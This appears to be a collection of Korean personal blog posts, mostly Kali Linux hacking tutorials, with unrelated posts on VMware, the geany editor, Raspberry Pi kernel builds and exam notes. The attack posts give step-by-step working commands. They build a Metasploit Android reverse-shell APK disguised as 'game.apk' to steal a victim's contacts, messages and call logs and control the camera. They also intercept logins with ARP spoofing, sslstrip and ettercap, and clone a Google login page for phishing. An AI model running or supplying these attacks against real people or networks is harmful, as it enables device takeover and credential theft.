1. kali linux 실행


#msfconsole


2. msfpayload(reverse tcp)


#msfpayload android/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=4444 R > game.apk

(msfpayload android/meterpreter/reverse_tcp LHOST=your ip LPORT=anything port R > xxx.apk)



위의 명령을 입력하면 game.apk라는 앱이 생성된다. 이를 희생자 apk에 설치한다.

LHOST는 자신의 IP를 입력하여야 한다. 그러면 희생자는 LHOST 및 해당 포트에 연결된다.


해당 앱을 분석해보면





를 확인해 볼 수 있다.


msf>use multi/handler  

msf>set PAYLOAD android/meterpreter/reverse_tcp

msf>set LHOST 192.168.102.128

msf>set LPORT 4444

     


msf> show options


잘 된 것을 확인할 수 있다.


msf>exploit




희생자 안드로이드를 기다리게 된다...


안드로이드가 붙으면 세션이 open된다.


meterpreter > sysinfo        //안드로이드 시스템정보 확인


그밖에 루팅된 단말인지 확인

전화번호부 탈취, 메시지 탈취, 통화기록 탈취

카메라 제어(동영상 촬영도 됨.....)

안드로이드 shell 사용


등등 기능 많음


시간 관계상 각각의 기능은 추후 업데이트 예정



metasploit이란?

-> 오픈소스 도구로 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계


metasploit 특징

1. 공개된 공격코드 정리/검증을 시간 단축

2. 여러 플랫폼 사용 가능

3. 취약점을 빠르게 최신화

4. 취약점에 대한 쉘코드 제공


metasploit framework



metasploit 용어

1. exploit

- 익스플로잇은 공격자 또는 모의해킹 테스터가 시스템 응용프로그램, 서비스 내의 결함을 찾는 데 수단

- 일반적인 익스플로잇은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-injection), 설정 에러 등 포함

2. payload

- 프레임워크에 의해 선택되고 전송되어 실행되길 원하는 시스템 코드

- 공격대상인 운영시스템에서 수행될 몇몇 명령어들을 심플하게 해놓은 것 일 수 있음

3. MSFConsole

- 프레임워크안에서 이용가능한 거의 모든 설정과 옵션을 제공하는 툴

- 사용자 친화적인 대화형 방식을 사용해 모든 기능에 접근하는 인터페이스

4. MSFcli

- 프레임워크의 고유한 인터프리터를 사용하지 않고 커맨드 라인으로 직접 수행하는 인터페이스

(http://nakyungpapa.tistory.com/153 내용 발췌)



msfconsole 사용



kali에서 msfconsole을 치면 콘솔을 사용할 수 있는데 가끔 다음과 같은 메시지의 오류를 확인할 수 있다.


Failed to connect to the database: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432??


이는 

#service postgresql start 를 통해 해결할 수 있다.





msfconsole을 실행하면 아래와 같이 화면이 출력된다. 이미지는 매번 바뀐다.




msfconsole 관련 커맨드들





exploit code 확인 명령어




보이는 것 같이 엄청 많다. 윈도우, 리눅스, 유닉스, 안드로이드 등 이름과 날짜, 위험수준, 그리고 어떤 취약점을 이용한 공격인지 확인할 수 있다.


이번에는 sslstrip을 이용하여 id, pw를 가로채는 것을 해보겠다.


SSLStrip 공격이란?

- HTTPS 통신 과정에서 https -> http 로 변경하여 암호화 통신을 방해함

- 동일한 NW환경 혹은 피해자의 트래픽을 수집할 수 있는 환경이어야 함


1) arp spoofing : 사용자의 패킷 -> 공격자

2) 사용자의 패킷이 라우팅이 되도록 ip_forward

3) sslstrip 공격 수행


(http://www.iblue.kr/xe/index.php?document_srl=116044&mid=board_OSMt72 발췌)




1. ip_forward가 가능하도록 설정

#echo 1 > /proc/sys/net/ipv4/ip_forward

2. arpspoofing 작동

#arpspoof -t victim-ip gw-ip

3. iptables rule 설정

#iptables --flush

#iptables -t nat -A PREROUTING -p tcp

   --destination-port 80 -j REDIRECT

   --to-ports 8080                               //위에는 port 밑에는 ports 주의




sslstrip 작동시키기




이번에도 역시 사이트는 공개하지 않기로 한다.

희생자가 해당 사이트에 접속하여 id와 pw를 입력할 경우

아래의 화면을 확인할 수 있다.

#cat sslstrip.log | grep -a id값(또는 pass)








다음으로는 ettercap을 이용한 HTTPS 도청 방법이다.

1. /etc/ettercap/etter.conf 수정        (http://kkn1220.tistory.com/32 참고)


2. enable ip_forward

#echo 1 > /proc/sys/net/ipv4/ip_forward


3. arpspoof 실행

#arpsppof -t victim_ip gw_ip



4. iptables_rules 설정


#iptables --flush

#iptables -t nat -A PREROUTING -p tcp

  --destination-port 80 -j REDIRECT

  --to-ports 10000



5. sslstrip 실행

#sslstrip -a -k -f



6. ettercap 가동

#ettercap -T -q -i eth0



7. 희생자는 사이트 접속 후 id, pw 입력

역시 이 또한 가능하다는 것을 확인해 볼 수 있다.



네이x, goox, 다x 등 대형 포털사이트는 막힘

2016-02-03


'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

ettercap에 대한 소개(http://kkn1220.tistory.com/63 참고)

전체 순서

1. edit etter.conf

     - id filed, redirect field

2. fire up ettercap

3. select a netmask

4. sniff --> Unified sniffing --> interface

5. Hosts --> Scan for hosts

6. Select Target1 = Victim target2 = default gw

7. MITM --> ARP poisoning

8. start sniffing

9. check if the poison was successful



etter.conf 수정


uid와 gid 0으로 수정

위의 라인들 중 171 line과 172 line 이 우리 실습에 해당. 167, 168 은 이전 버전의 방화벽 설정이다.

해당 라인 주석을 삭제!

wq! 저장하고 나온다.



ettercap -G  //G는 그래픽 모드

sniff -> unified -> ok

host tab -> scan for hosts

host list를 누르면 리스트를 확인할 수 있다.

여기에서 Target1은 희생자, Target2는 Gateway가 된다. 
즉 130 희생자는 target1이되어, 128인 kali의 MAC 주소는 2번의 MAC주소와 같게 보인다.




그 다음 Man in the middle 어태크





희생자 cmd에서 arp-a치면

위의 화면처럼 나오는데 128 칼리와 gateway mac이 같다는 것을 확인할 수 있다.




보안이 해결되었는지 모르겠지만 혹시 모르기 때문에 사이트는 공개 안함

아무쪼록 id와 pw를 입력했을 때 ettercap에서 user와 password를 가로챌 수 있음


최근 위의 방법은 많은 사이트가 보완하였음. 그러나 아직 나이x 이런데는 보완안함
(옥x, gmax 등. 인증강화 차원에서 보완한듯함. 그러나 http://kkn1220.tistory.com/33 의 방식으로 sslstrip은 여전히 취약)
2016-02-03

'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

Social Engineering toolkit(set)




기본적으로 Kali나 Backtrack 의 경우 setoolkit 이 자동으로 설치되어 있다.

update하기 귀찮아서 no로 했음..


소셜 엔지니어링 어태크 선택



종류가 다양하다. 웹사이트 공격, SMS 스푸핑, 무선공유기 공격 등 다양한데 웹 사이트 공격을 해보도록 하겠다.



역시 다양하다. 시간적 여유가 있다면 이것저것 해보는 것도 유익한 시간일 것 같다.



1) 웹 템플릿은 웹페이지에 트스트용 템플릿을 만들어 준다.

2) site cloner는 network 날라가고 domain page를 똑같이 가지고 온다.

3) custom import는 똑같이 만들어 주는데 구분하기가 상당히 힘들다)


site clone을 해보기로 했다.



아파치가 실행되지 않아 실행시켜줘야됨......

아파치 실행 후 다시 시작


컨씨컨브이


컨씨컨브이


사이트 클론


주소를 보면 현재 내 ip(kali 즉 공격자 ip) 주소로 구글 로그인과 똑같은 것을 확인할 수 있다.

여기에서 email을 sample, 비밀번호를 1234로 했다.

kali에서 /var/www에서 cat한 결과 다음과 같다.

ㅎㄷㄷ...



바로 끝내기 아쉬우니 QR공격을 해보자.



진짜 간단하다. 공격자의 ip를 넣어주고 qr을 생성하면

QR이미지가 생성된다.


ㅎㄷㄷ...

저 QR을 찍으면 공격자의 사이트로 이동된다.


실제로 저렇게 만들고 이벤트 회사인것마냥 사이트를 구성해준다면

많이 당할듯 싶은데

테스트는 테스트일뿐이지 실제 악용하면 안된다.

'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

실습환경

- 가상머신(vmware 11)

- 버전: 1.09 (마지막 버전 1.1.0(2015.2.09 출시)

- 칼리 리눅스는 정보보안을 테스트하기 위한 오픈 소스 리눅스 배포판인 백트랙의 후속 버전


vmware에서 file-newvirtual machine 클릭



custom으로 설치해보았다.


지원하는 OS가 많은데 뭐 굳이 아무거나해도..




가상이라서 마음대로 할 수 있는 건 아니다.

cpu(processor)는 코어할당, CPU 할당, hyper threding 3가지 방법으로 할당할 수 있다자신이 가지고 있는 cpu 환경에 맞게 설정해야된다. (cpu,개수  코어 개수)

메모리는 알아서 설정하면 되는데 kali의 경우 좀 필요하다고 판단하여 4GB정도 넣어줌

계속 Next하면 최종적으로 생성이됨.

 (뭐 여기까지는 kali 이미지파일 구해서 적당히 넣어주면 되기 때문에 간단하게 진행함)



실행하면 위의 화면처럼 나오는데 그냥 기능만 확인해보고 싶으면 live로 확인하고

뭐 좀 제대로 해보려면 Install 하면 됨


심플함....



이것 저것 많은 기능을 제공함


이제 이 기능을 가지고 재미있는 몇 가지를 해보겠다^^




'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27

가끔씩 vmware를 정상적으로 종료하지 않았거나 문제가 있을 시 다음과 같은 문구를 볼 수 있다.


This virtual machine appears to be in use.

if this virtual machine is not in use, press the "Take Ownership" button ~~~~







뭐 사실 별거 없다.


Configuration file에 들어가서 .lck 확장자를 가진 파일을 지우면 된다. 즉 현재 vmware는 lock이 걸려있는 상태이기 때문에 이를 지워주면 정상적으로 실행이 되는 것을 확인할 수 있다.




'프로그래밍 > Linux' 카테고리의 다른 글

npm(Node Packaged Modules)  (0) 2015.09.09
ubuntu node.js 설치  (0) 2015.09.09
ubuntu(우분투) rapidsvn 설치  (0) 2015.09.08
우분투 svn 설치  (0) 2015.09.03
우분투에서 geany tool 사용하기  (0) 2015.08.19

평소 윈도우에서만 개발을 하다가 리눅스에서 c코딩을 할 일이 있어서 vim도 물론 좋지만 개인적으로 아직 많이 부족하여 좀 더 편한 tool을 찾던 중 geany라는 tool을 발견하였다. 


기본적으로 ubuntu에는 geany가 설치 되어 있다.   

아니었음(스냅샷으로 이전으로 돌아갔을 때 설치가 안되어 있었음. 언제 설치 되었는지는 모르겠지만 anyway)

개인적으로 이미 설치되어 있는 경우 이전 버전 충돌이나 뭐 그런 것 때문에 좋아하지 않는다.


지니(wiki에는 기니라고 되어 있는데 모르겠음)를 설치하는 방법은 우분투의 소프트웨어 센터를 이용하는 방법이 있고 터미널에서 명령어를 입력하는 방법이 있다.
소프트웨어 센터에서는 geany를 치면 되고 난 터미널에서 다운을 받고자 한다.

$sudo apt-get remove geany    //설치되어 있는 geany 제거

$sudo add-apt-repository ppa:geany-dev/ppa    //저장소에 없으면 추가하는 부분

$sudo apt-get update

$sudo apt-get install geany geany-plugins    //geany와 플러그인 둘 다 설치




그렇게 이쁘진 않다..공대 스타일.. UI관련하여 (https://github.com/codebrainz/geany-themes) 사이트에 가면 많이 있다고는 하는데 굳이..(http://blog.nooree.com/post.cfm/ubuntu-c 참고)



프로젝트를 생성하고 역시나 hello.c를 만들어보자


F5키는 Execute, F8은 compile, F9는 Build이다. 따로 gcc를 안해줘도 되어서 정말 편하다.

ctrl+space는 자동완성(사실 이게 제일 좋음)


빌드를 하고 F5를 눌렀더니...



............역시 한번에 되는건 없나보다


모르겠다 방법을..............................................

geany에서 제공하는 것 중 터미널 모드가 있는데 여기에서는 잘된다..



내일 다시 살펴보는 것으로...



방법을 찾았다. 역시 구글은 짱인듯(https://plus.google.com/u/0/+NikTh/posts/gZERckaqEtg 감사합니다 ㅠ)

ubuntu-mate에서 가끔 사람들이 발생하는 이유인듯 싶다.


아무튼 설정문제로 인해 되지 않았던것!

geany에서 edit탭의 preferences를 눌러준다.


Tools부분에서 Terminal부분에서

x-terminal-emulator -e "/bin/sh %c"  -> /usr/bin/mate-terminal -e "/bin/sh %c" 로 바꿔준다

(mate가 아닐 경우 이름은 다르다)

만약 위에 언급한 geany  자체적인 terminal을 바꾸고 싶으면 Terminal에서 path 변경해주면됨

(Tools 탭의 Terminal이 아닌 Terminal 탭을 지칭)





실제적으로 /usr/bin에서 터미널을 확인해봄





빌드 후 F5키를 눌러주니 잘 되는 것을 확인해 볼 수 있었다.




'프로그래밍 > Linux' 카테고리의 다른 글

npm(Node Packaged Modules)  (0) 2015.09.09
ubuntu node.js 설치  (0) 2015.09.09
ubuntu(우분투) rapidsvn 설치  (0) 2015.09.08
우분투 svn 설치  (0) 2015.09.03
vmware take ownership 문제  (0) 2015.08.20

.  라즈베리 확장

임베디드 개발 환경 구축


§module built-in
http://poplinux.tistory.com/106 참고 (Makefile 내용)
http://sonseungha.tistory.com/112 참고(모듈 빌트인 방법)
http://chlrbgh0.tistory.com/110 참고(모듈 빌트인 방법)
저번 시간에는 커널 모듈을 insmod로 적재하는 것을 해보았고 이번에는 모듈을 커널 이미지에 built-in을 해보고자 한다. (http://kkn1220.tistory.com/14)

- Makefile을 살펴보면 
obj-y := audio_device.o
obj-m := audio_device.o
obj-$(CONFIG_TEST) := audio_device.o 를 살펴볼 수 있다.
위의 -y 옵션은 built-in을 할 때의 옵션이고 -m은 모듈 형식으로의 옵션이다. 
마지막의 경우 리눅스 커널 configure 할 때 사용되는 옵션은
- (*) : built-in
- (M) : Module
- ( ) : not built
이 있는데 해당 옵션을 체크했을 때 make menuconfig 결과에 따라 모듈이나 빌트인으로 알아서 컴파일 된다. 

- 예제
      - hello.c code


- Makefile


- hello 파일 내부(cd linux/driver/hello)  linux폴더-driver폴더 내 hello 폴더 생성


- Makefile 수정

- vi linux/driver/Makefile        //리눅스 폴더 내 드라이버의 Makefile을 수정하는 것이다.


마지막에 obj-y += hello/ 를 적어준당


리눅스 폴더에 가서(cd ../../) 

make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcm2709_defconfig 실행

(*여기에서 arm-linux-gnueabihf-bcm2709_defconfig의 위치는 각자 설정해주어야 된다)

(본인의 경우 make ARCH=arm CROSS_COMPILE=/home/kkn/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf- bcm2709_defconfig가 경로이다)



make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs

(make ARCH=arm CROSS_COMPILE=/home/kkn/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf- zImage modules dtbs)

(사실 dtbs는 필요한지 아닌지는 모르겠당.. 어차피 make clean하지 않아서 금방 진행되므로 무시하고 컴파일 했음)




새로 생성한 hello폴더 내 hello가 built-in되는 것을 확인할 수 있다.



진행이 끝나면 위의 메시지를 확인할 수 있다.(한 10초 걸린듯)


sd카드에 설치 (lsblk 명령어로 sd카드가 올라와있는지 확인해야함)

-mount

$ mkdir mnt/fat32

$ mkdir mnt/ext4

$ sudo mount /dev/sdb1 mnt/fat32

$ sudo mount /dev/sdb2 mnt/ext4

-모듈 설치
  $ sudo make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- INSTALL_MOD_PATH=mnt/ext4 modules_install

*arm-linux-gnueabihf는 앞 장의 컴파일러 path, INSTALL_MOD_PATH는 설치할 path 경로

- kernel image(mkknlimg 스크립트로 변환 필요), dtb(device tree blob) 복사

$ sudo cp mnt/fat32/$KERNEL.img mnt/fat32/$KERNEL-backup.img    //필수 항목은 아님(백업용)

$ sudo scripts/mkknlimg arch/arm/boot/zImage mnt/fat32/$KERNEL.img        

(scripts는 linux폴더 에서 실행해야함, $KERNEL.img 는 kernel7.img를 지칭(kernel.img 조심하자))

$ sudo cp arch/arm/boot/dts/*.dtb mnt/fat32/   

(dtb는 사실 안바뀌었을 거 같지만 난 초보기 때문에 그냥 복사...)

$ sudo cp arch/arm/boot/dts/overlays/*.dtb* mnt/fat32/overlays/

$ sudo cp arch/arm/boot/dts/overlays/README mnt/fat32/overlays/

$ sudo umount mnt/fat32

$ sudo umount mnt/ext4


라즈베리파이에 sd카드를 넣고 booting


uname -a로 확인


dmesg로 확인



lsmod는 로딩된 모듈만 확인하는 것이고 built-in 된 것은 출력되지 않는다고 한다..
왜 안나오나 잘못되었나 싶었음..


시스템콜 후킹한 것을 테스트해보았을 때에는 부팅 될 때 메시지가 출력되면서 멈춤..

너무 많은 메시지를 호출해서 멈춘걸까 아니면 init에서 필수 드라이버가 로딩되기 전에 진행이 되어서 그런걸까 좀 더 공부해야할듯..




* module을 insmod할 때에는 linux폴더 내 System.map에는 모듈 심볼이 없지만 built-in을 할 때에는 있는 것을 확인할 수 있다.


(이런식으로..)







교재: "국가공인" 리눅스마스터 1급 ((주)수퍼유저, 저자 박성수, 강기봉, 정우영)


국가공인 리눅스마스터 1급

저자
박성수강기봉 지음
출판사
수퍼유저코리아 | 2014-01-13 출간
카테고리
컴퓨터/IT
책소개
국가공인 리눅스마스터 1급 교재이다. 리눅스마스터 1급 1차, ...
가격비교

 



Part1. 리눅스 실무의 이해

Chapter 03. 네트워크의 이해

3.2 네트워크 설정

3.2.1 환경 설정


방대한 책범위와 시험기간이 얼마 안남은 관계로 전략변경

- 빠른 시일내에 책 훑기

- 문제를 풀면서 내용 정리


- 업데이트 할 목록

-> 이더넷 설정, 네트워크 환경 설정, 네트워크 관련 명령어(netconfig, ifconfig, route, netstat, traceroute, tracepath, ping, arp, nslookup, dig, host)

+ Recent posts